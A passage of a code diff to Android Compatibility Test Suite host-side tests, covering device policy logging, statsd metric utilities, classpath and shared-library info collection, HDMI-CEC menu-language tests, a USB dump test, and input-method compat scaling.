--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -167,6 +167,7 @@
 
     private void clearLogcat() throws DeviceNotAvailableException {
         getDevice().executeAdbCommand("logcat", "-c");
+        getDevice().executeAdbCommand("logcat", "-G", "16M");
     }
 
     private void verifyBroadcastSent(String actionName, boolean needPermissions)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
index 7700140..dcafa40 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
@@ -24,4 +24,7 @@
     libs: [
         "tradefed",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
index 5ab3ddb0..68e4934 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -15,7 +15,7 @@
  */
 package com.android.cts.devicepolicy.metrics;
 
-import static junit.framework.Assert.assertTrue;
+import android.cts.statsdatom.lib.ReportUtils;
 
 import com.android.internal.os.StatsdConfigProto.AtomMatcher;
 import com.android.internal.os.StatsdConfigProto.EventMetric;
@@ -23,24 +23,22 @@
 import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
 import com.android.internal.os.StatsdConfigProto.StatsdConfig;
 import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+
 import com.google.common.io.Files;
 import com.google.protobuf.InvalidProtocolBufferException;
 import com.google.protobuf.MessageLite;
 import com.google.protobuf.Parser;
+
 import java.io.File;
 import java.util.ArrayList;
-import java.util.Comparator;
 import java.util.List;
 import java.util.function.Predicate;
-import java.util.stream.Collectors;
 
 /**
  * Tests Statsd atoms.
@@ -103,26 +101,7 @@
      */
     List<EventMetricData> getEventMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        return getEventMetricDataList(reportList);
-    }
-
-    /**
-     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
-     */
-    private List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
-            throws Exception {
-        assertTrue("Expected one report", reportList.getReportsCount() == 1);
-        final ConfigMetricsReport report = reportList.getReports(0);
-        final List<StatsLogReport> metricsList = report.getMetricsList();
-        return metricsList.stream()
-                .flatMap(statsLogReport -> statsLogReport.getEventMetrics().getDataList().stream())
-                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
-                .peek(eventMetricData -> {
-                    CLog.d("Atom at " + eventMetricData.getElapsedTimestampNanos()
-                            + ":\n" + eventMetricData.getAtom().toString());
-                })
-                .collect(Collectors.toList());
+        return ReportUtils.getEventMetricDataList(reportList);
     }
 
     /** Gets the statsd report. Note that this also deletes that report from statsd. */
diff --git a/hostsidetests/edi/AndroidTest.xml b/hostsidetests/edi/AndroidTest.xml
index 9b9ad52..ae2017d 100644
--- a/hostsidetests/edi/AndroidTest.xml
+++ b/hostsidetests/edi/AndroidTest.xml
@@ -21,10 +21,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsDeviceInfoTestApp.apk" />
-    </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsEdiHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/edi/app/AndroidManifest.xml b/hostsidetests/edi/app/AndroidManifest.xml
deleted file mode 100644
index 2f589dc..0000000
--- a/hostsidetests/edi/app/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2021 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.edi.cts.app"
-          android:targetSandboxVersion="2">
-
-    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="31"/>
-
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.ACCESS_SHARED_LIBRARIES" />
-
-    <application android:requestLegacyExternalStorage="true">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.edi.cts.app" />
-
-</manifest>
diff --git a/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java b/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java
deleted file mode 100644
index 5c22e43..0000000
--- a/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.edi.cts.app;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.SharedLibraryInfo;
-import android.util.Log;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.modules.utils.build.SdkLevel;
-
-import com.google.common.collect.ImmutableList;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.List;
-import java.util.Locale;
-
-/**
- * Device-side helper app for ClasspathDeviceInfo.
- *
- * <p>It is not technically a test as it simply collects information, but it simplifies the usage
- * and communication with host-side ClasspathDeviceInfo.
- */
-@RunWith(AndroidJUnit4.class)
-public class ClasspathDeviceTest {
-
-    private static final String TAG = "ClasspathDeviceTest";
-
-    private final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-    private final Context context = instrumentation.getTargetContext();
-
-    @Before
-    public void before() {
-        assumeTrue(SdkLevel.isAtLeastS());
-        instrumentation.getUiAutomation().adoptShellPermissionIdentity();
-    }
-
-    @After
-    public void after() {
-        instrumentation.getUiAutomation().dropShellPermissionIdentity();
-    }
-
-    /**
-     * Collects details about all shared libraries on the device and writes them to disk.
-     */
-    @Test
-    public void collectSharedLibraryPaths() throws Exception {
-        List<SharedLibraryInfo> sharedLibraries =
-                context.getPackageManager().getSharedLibraries(0);
-
-        ImmutableList.Builder<String> content = ImmutableList.builder();
-        for (SharedLibraryInfo sharedLibrary : sharedLibraries) {
-            if (!sharedLibrary.isNative()) {
-                content.add(String.format(Locale.US, "%s %d %d %s",
-                        sharedLibrary.getName(),
-                        sharedLibrary.getType(),
-                        sharedLibrary.getLongVersion(),
-                        String.join(" ", sharedLibrary.getAllCodePaths())));
-            }
-        }
-
-        Path detailsFilepath = new File("/sdcard/shared-libs.txt").toPath();
-        ImmutableList<String> lines = content.build();
-        Log.i(TAG, String.format("Writing details about %d shared libraries to %s",
-                lines.size(), detailsFilepath));
-        Files.write(detailsFilepath, lines);
-    }
-
-}
diff --git a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
index 8fc1059..463934f 100644
--- a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
+++ b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
@@ -18,22 +18,29 @@
 import static android.compat.testing.Classpaths.ClasspathType.BOOTCLASSPATH;
 import static android.compat.testing.Classpaths.ClasspathType.SYSTEMSERVERCLASSPATH;
 
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
 
 import android.compat.testing.Classpaths;
 import android.compat.testing.Classpaths.ClasspathType;
+import android.compat.testing.SharedLibraryInfo;
 
 import com.android.compatibility.common.util.DeviceInfo;
 import com.android.compatibility.common.util.HostInfoStore;
 import com.android.modules.utils.build.testing.DeviceSdkLevel;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.FileUtil;
 
 import com.google.common.collect.ImmutableList;
 import com.google.common.collect.ImmutableSet;
 
 import org.jf.dexlib2.iface.ClassDef;
+import org.junit.Assume;
+import org.junit.Before;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.stream.IntStream;
 
 /**
  * Collects information about Java classes present in *CLASSPATH variables and Java shared libraries
@@ -41,20 +48,20 @@
  */
 public class ClasspathDeviceInfo extends DeviceInfo {
 
-    private static final String HELPER_APP_PACKAGE = "android.edi.cts.app";
-    private static final String HELPER_APP_CLASS = HELPER_APP_PACKAGE + ".ClasspathDeviceTest";
+    private final ITestDevice mDevice = getDevice();
+    private final DeviceSdkLevel mDeviceSdkLevel = new DeviceSdkLevel(mDevice);
+    private final Object mStoreLock = new Object();
 
-    private ITestDevice mDevice;
-    private DeviceSdkLevel deviceSdkLevel;
+    @Before
+    public void before() throws DeviceNotAvailableException {
+        assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR());
+    }
 
     @Override
     protected void collectDeviceInfo(HostInfoStore store) throws Exception {
-        mDevice = getDevice();
-        deviceSdkLevel = new DeviceSdkLevel(mDevice);
-
         store.startArray("jars");
         collectClasspathsJars(store);
-        collectSharedLibraryJars(store);
+        collectSharedLibraries(store);
         store.endArray();
     }
 
@@ -67,69 +74,119 @@
     private void collectClasspathJarInfo(HostInfoStore store, ClasspathType classpath)
             throws Exception {
         ImmutableList<String> paths = Classpaths.getJarsOnClasspath(mDevice, classpath);
-        for (int i = 0; i < paths.size(); i++) {
-            store.startGroup();
-            store.addResult("classpath", classpath.name());
-            store.addResult("path", paths.get(i));
-            store.addResult("index", i);
-            collectClassInfo(store, paths.get(i));
-            store.endGroup();
-        }
+        IntStream.range(0, paths.size())
+                .parallel()
+                .mapToObj(i -> new JarInfo(i, paths.get(i)))
+                .peek(JarInfo::pullRemoteJar)
+                .peek(JarInfo::parseClassDefs)
+                .forEach(jarInfo -> {
+                    synchronized (mStoreLock) {
+                        try {
+                            store.startGroup();
+                            store.addResult("classpath", classpath.name());
+                            store.addResult("path", jarInfo.mPath);
+                            store.addResult("index", jarInfo.mIndex);
+                            collectClassInfo(store, jarInfo.mClassDefs);
+                            store.endGroup();
+                        } catch (IOException e) {
+                            throw new RuntimeException(e);
+                        } finally {
+                            FileUtil.deleteFile(jarInfo.mLocalCopy);
+                        }
+                    }
+                });
     }
 
-    private void collectSharedLibraryJars(HostInfoStore store) throws Exception {
-        if (!deviceSdkLevel.isDeviceAtLeastS()) {
+    private void collectSharedLibraries(HostInfoStore store) throws Exception {
+        if (!mDeviceSdkLevel.isDeviceAtLeastS()) {
             return;
         }
-
-        // Trigger helper app to collect and write info about shared libraries on the device.
-        assertThat(runDeviceTests(HELPER_APP_PACKAGE, HELPER_APP_CLASS)).isTrue();
-
-        String remoteFile = "/sdcard/shared-libs.txt";
-        String content;
-        try {
-            content = mDevice.pullFileContents(remoteFile);
-        } finally {
-            mDevice.deleteFile(remoteFile);
-        }
-
-        for (String line : content.split("\n")) {
-            String[] words = line.split(" ");
-            assertWithMessage(
-                    "expected each line to be in the format: <name> <type> <version> <path>...")
-                    .that(words.length)
-                    .isAtLeast(4);
-            String libraryName = words[0];
-            String libraryType = words[1];
-            String libraryVersion = words[2];
-            for (int i = 3; i < words.length; i++) {
-                String path = words[i];
-                if (!mDevice.doesFileExist(path)) {
-                    CLog.w("Shared library is not present on device " + path);
-                    continue;
-                }
-
-                store.startGroup();
-                store.startGroup("shared_library");
-                store.addResult("name", libraryName);
-                store.addResult("type", libraryType);
-                store.addResult("version", libraryVersion);
-                store.endGroup(); // shared_library
-                store.addResult("path", path);
-                store.addResult("index", i - 3); // minus <name> <type> <version>
-                collectClassInfo(store, path);
-                store.endGroup();
-            }
-        }
+        Classpaths.getSharedLibraryInfos(mDevice, getBuild())
+                .stream()
+                .parallel()
+                .flatMap(sharedLibraryInfo -> IntStream.range(0, sharedLibraryInfo.paths.size())
+                        .parallel()
+                        .mapToObj(i ->
+                                new JarInfo(i, sharedLibraryInfo.paths.get(i), sharedLibraryInfo))
+                )
+                .filter(JarInfo::doesRemoteFileExist)
+                .peek(JarInfo::pullRemoteJar)
+                .peek(JarInfo::parseClassDefs)
+                .forEach(jarInfo -> {
+                    synchronized (mStoreLock) {
+                        try {
+                            store.startGroup();
+                            store.startGroup("shared_library");
+                            store.addResult("name", jarInfo.mSharedLibraryInfo.name);
+                            store.addResult("type", jarInfo.mSharedLibraryInfo.type);
+                            store.addResult("version", jarInfo.mSharedLibraryInfo.version);
+                            store.endGroup(); // shared_library
+                            store.addResult("path", jarInfo.mPath);
+                            store.addResult("index", jarInfo.mIndex);
+                            collectClassInfo(store, jarInfo.mClassDefs);
+                            store.endGroup();
+                        } catch (Exception e) {
+                            throw new RuntimeException(e);
+                        } finally {
+                            FileUtil.deleteFile(jarInfo.mLocalCopy);
+                        }
+                    }
+                });
     }
 
-    private void collectClassInfo(HostInfoStore store, String path) throws Exception {
+
+    private void collectClassInfo(HostInfoStore store, ImmutableSet<ClassDef> defs)
+            throws IOException {
         store.startArray("classes");
-        for (ClassDef classDef : Classpaths.getClassDefsFromJar(mDevice, path)) {
+        for (ClassDef classDef : defs) {
             store.startGroup();
             store.addResult("name", classDef.getType());
             store.endGroup();
         }
         store.endArray();
     }
+
+    /** Helper class to represent a jar file during stream transformations. */
+    private final class JarInfo {
+        final int mIndex;
+        final String mPath;
+        final SharedLibraryInfo mSharedLibraryInfo;
+        ImmutableSet<ClassDef> mClassDefs;
+        File mLocalCopy;
+
+        private JarInfo(int index, String path) {
+            this(index, path, null);
+        }
+
+        private JarInfo(int index, String path, SharedLibraryInfo sharedLibraryInfo) {
+            this.mIndex = index;
+            this.mPath = path;
+            this.mSharedLibraryInfo = sharedLibraryInfo;
+        }
+
+        private boolean doesRemoteFileExist() {
+            try {
+                return mDevice.doesFileExist(mPath);
+            } catch (DeviceNotAvailableException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        private void pullRemoteJar() {
+            try {
+                mLocalCopy = mDevice.pullFile(mPath);
+            } catch (DeviceNotAvailableException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        private void parseClassDefs() {
+            try {
+                mClassDefs = Classpaths.getClassDefsFromJar(mLocalCopy);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index 1f46b56..d6da4c3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -65,7 +65,9 @@
                 Arrays.asList(CecOperand.VENDOR_COMMAND, CecOperand.GIVE_DEVICE_VENDOR_ID,
                         CecOperand.SET_OSD_NAME, CecOperand.GIVE_OSD_NAME, CecOperand.CEC_VERSION,
                         CecOperand.DEVICE_VENDOR_ID, CecOperand.GIVE_POWER_STATUS,
-                        CecOperand.GET_MENU_LANGUAGE));
+                        CecOperand.GET_MENU_LANGUAGE, CecOperand.ACTIVE_SOURCE,
+                        CecOperand.REQUEST_ACTIVE_SOURCE, CecOperand.GIVE_PHYSICAL_ADDRESS,
+                        CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
         allowedMessages.addAll(expectedMessages);
 
         device.executeShellCommand("reboot");
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
index c5f5b36..561b575 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
@@ -99,9 +99,6 @@
      */
     @Test
     public void cect_11_2_11_2_UnregisteredDeviceGiveOsdNameTest() throws Exception {
-        hdmiCecClient.sendCecMessage(LogicalAddress.PLAYBACK_1, CecOperand.GIVE_OSD_NAME);
-        hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.PLAYBACK_1,
-                CecOperand.SET_OSD_NAME);
         hdmiCecClient.sendCecMessage(LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME);
         hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST,
                 CecOperand.SET_OSD_NAME);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
index bb8afa8..1f4a270 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
@@ -18,6 +18,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
@@ -124,4 +125,33 @@
             setSystemLocale(locale);
         }
     }
+
+    /**
+     * ro.hdmi.set_menu_language should always be false, due to issues with misbehaving TVs.
+     * To be removed when better handling for <SET MENU LANGUAGE> is implemented in b/195504595.
+     */
+    @Test
+    public void setMenuLanguageIsDisabled() throws Exception {
+        assertThat(isLanguageEditable()).isFalse();
+    }
+
+    /**
+     * Tests that <SET MENU LANGUAGE> from a valid source is ignored when ro.hdmi.set_menu_language
+     * is false.
+     */
+    @Test
+    public void setMenuLanguageNotHandledWhenDisabled() throws Exception {
+        assumeFalse(isLanguageEditable());
+        final String locale = getSystemLocale();
+        final String originalLanguage = extractLanguage(locale);
+        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+        try {
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
+                    CecOperand.SET_MENU_LANGUAGE, CecMessage.convertStringToHexParams(language));
+            TimeUnit.SECONDS.sleep(5);
+            assertThat(extractLanguage(getSystemLocale())).isEqualTo(originalLanguage);
+        } finally {
+            setSystemLocale(locale);
+        }
+    }
 }
diff --git a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
index ebb4191..3ff1bfe 100644
--- a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
@@ -31,6 +31,7 @@
 import android.service.usb.UsbSettingsManagerProto;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 
 /**
  * Tests for the UsbService proto dump.
@@ -51,7 +52,10 @@
 
     public void testUsbServiceDump() throws Exception {
         // Devices that don't support USB functionality won't dump a USB service proto.
-        assumeTrue("Device doesn't support USB functionality.", hasUsbFunctionality(getDevice()));
+        if (!hasUsbFunctionality(getDevice())) {
+            CLog.i("Device doesn't support USB functionality.");
+            return;
+        }
 
         final UsbServiceDumpProto dump = getDump(UsbServiceDumpProto.parser(),
                 "dumpsys usb --proto");
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java
index 85b4b1c..3357bd8 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java
@@ -19,7 +19,7 @@
 /**
  * Utility class to build Android's component name.
  */
-final class ComponentNameUtils {
+public final class ComponentNameUtils {
 
     // This is utility class, can't instantiate.
     private ComponentNameUtils() {}
@@ -35,4 +35,14 @@
         return packageName + "/" + (className.startsWith(packageName)
                 ? className.substring(packageName.length()) : className);
     }
+
+    /**
+     * Retrieve a name of a package from an Android {@code componentName}
+     * ({@code packageName/className}).
+     * @param componentName name of an Android component.
+     * @return the name of the package the component belongs.
+     */
+    public static String retrievePackageName(String componentName) {
+        return componentName.substring(0, componentName.indexOf('/'));
+    }
 }
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
index 5ed387e..afaa9c8 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -189,6 +189,17 @@
     }
 
     /**
+     * Command to enable app-compat change for a package .
+     *
+     * @param compatChange name of the app-compat change.
+     * @param packageName name of the package to enable the change for.
+     * @return the command to be passed to shell command.
+     */
+    public static String enableCompatChange(String compatChange, String packageName) {
+        return "am compat enable " + compatChange + " " + packageName;
+    }
+
+    /**
      * Command to send broadcast {@code Intent}.
      *
      * @param action action of intent.
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 846c31f..4064ff5 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -26,6 +26,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
+import android.inputmethodservice.cts.common.ComponentNameUtils;
 import android.inputmethodservice.cts.common.EditTextAppConstants;
 import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
 import android.inputmethodservice.cts.common.Ime1Constants;
@@ -36,6 +37,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 
+import com.android.compatibility.common.util.FeatureUtil;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -56,6 +58,8 @@
     private static final long WAIT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
     private static final long PACKAGE_OP_TIMEOUT = TimeUnit.SECONDS.toMillis(7);
     private static final long POLLING_INTERVAL = 100;
+    private static final String COMPAT_CHANGE_DO_NOT_DOWNSCALE_TO_1080P_ON_TV =
+            "DO_NOT_DOWNSCALE_TO_1080P_ON_TV";
 
     /**
      * {@code true} if {@link #tearDown()} needs to be fully executed.
@@ -126,6 +130,25 @@
     private void installImePackageSync(String apkFileName, String imeId) throws Exception {
         installPackage(apkFileName, "-r");
         waitUntilImesAreAvailable(imeId);
+
+        // Compatibility scaling may affect how watermarks are rendered in such a way so that we
+        // won't be able to detect them on screenshots.
+        disableAppCompatScalingForPackageIfNeeded(ComponentNameUtils.retrievePackageName(imeId));
+    }
+
+    private void disableAppCompatScalingForPackageIfNeeded(String packageName) throws Exception {
+        if (FeatureUtil.isTV(getDevice())) {
+            // On 4K TV devices packages that target API levels below S run in a compat mode where
+            // they render UI to a 1080p surface which then gets scaled up x2 (to the device's
+            // "native" 4K resolution).
+            // When a test IME package runs in such compatibility mode, the watermarks it renders
+            // would be scaled up x2 as well, thus we won't be able detect them on (4K) screenshots
+            // we take during tests.
+            // Note, that this command will have no effect if the device is not a 4K TV, or if the
+            // package's "targetSdk" level is S or above.
+            shell(ShellCommandUtils.enableCompatChange(
+                    COMPAT_CHANGE_DO_NOT_DOWNSCALE_TO_1080P_ON_TV, packageName));
+        }
     }
 
     private void installPossibleInstantPackage(
diff --git a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
index 90fa265..164c37f 100644
--- a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
+++ b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
@@ -20,12 +20,12 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThat;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.targetprep.TargetSetupError;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-
 import com.android.tradefed.device.IFileEntry;
 import com.android.tradefed.util.CommandResult;
 import com.android.tradefed.util.RunUtil;
@@ -194,6 +194,7 @@
      * Tests if the native shared library list reported by the package manager is the same as
      * the public.libraries*.txt files in the partitions.
      */
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testPublicLibrariesAreAllRegistered() throws DeviceNotAvailableException {
         Set<String> libraryNamesFromTxt =
@@ -359,6 +360,7 @@
     // Tests for when apps depend on non-existing lib
     ///////////////////////////////////////////////////////////////////////////
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testOldAppDependsOnNonExistingLib() throws Exception {
         String[] requiredLibs = {mNonExistingLib};
@@ -371,6 +373,7 @@
         runInstalledTestApp();
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppDependsOnNonExistingLib() throws Exception {
         String[] requiredLibs = {mNonExistingLib};
@@ -384,6 +387,7 @@
         // install failed, so can't run the on-device test
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppDependsOnNonExistingLib_withCompatEnabled_installFail()
             throws Exception {
@@ -398,6 +402,7 @@
                 requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppDependsOnNonExistingLib_withCompatDisabled_installSucceed()
             throws Exception {
@@ -412,6 +417,7 @@
                 requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testOldAppOptionallyDependsOnNonExistingLib() throws Exception {
         String[] requiredLibs = {};
@@ -424,6 +430,7 @@
         runInstalledTestApp();
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppOptionallyDependsOnNonExistingLib() throws Exception {
         String[] requiredLibs = {};
@@ -440,6 +447,7 @@
     // Tests for when apps depend on private lib
     ///////////////////////////////////////////////////////////////////////////
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testOldAppDependsOnPrivateLib() throws Exception {
         String[] requiredLibs = {mPrivateLib};
@@ -452,6 +460,7 @@
         runInstalledTestApp();
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppDependsOnPrivateLib() throws Exception {
         String[] requiredLibs = {mPrivateLib};
@@ -465,6 +474,7 @@
         // install failed, so can't run the on-device test
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testOldAppOptionallyDependsOnPrivateLib() throws Exception {
         String[] requiredLibs = {};
@@ -477,6 +487,7 @@
         runInstalledTestApp();
     }
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testNewAppOptionallyDependsOnPrivateLib() throws Exception {
         String[] requiredLibs = {};
@@ -493,6 +504,7 @@
     // Tests for when apps depend on all public libraries
     ///////////////////////////////////////////////////////////////////////////
 
+    @CddTest(requirement="3.6/C-1-1,C-1-2")
     @Test
     public void testOldAppDependsOnAllPublicLibraries() throws Exception {
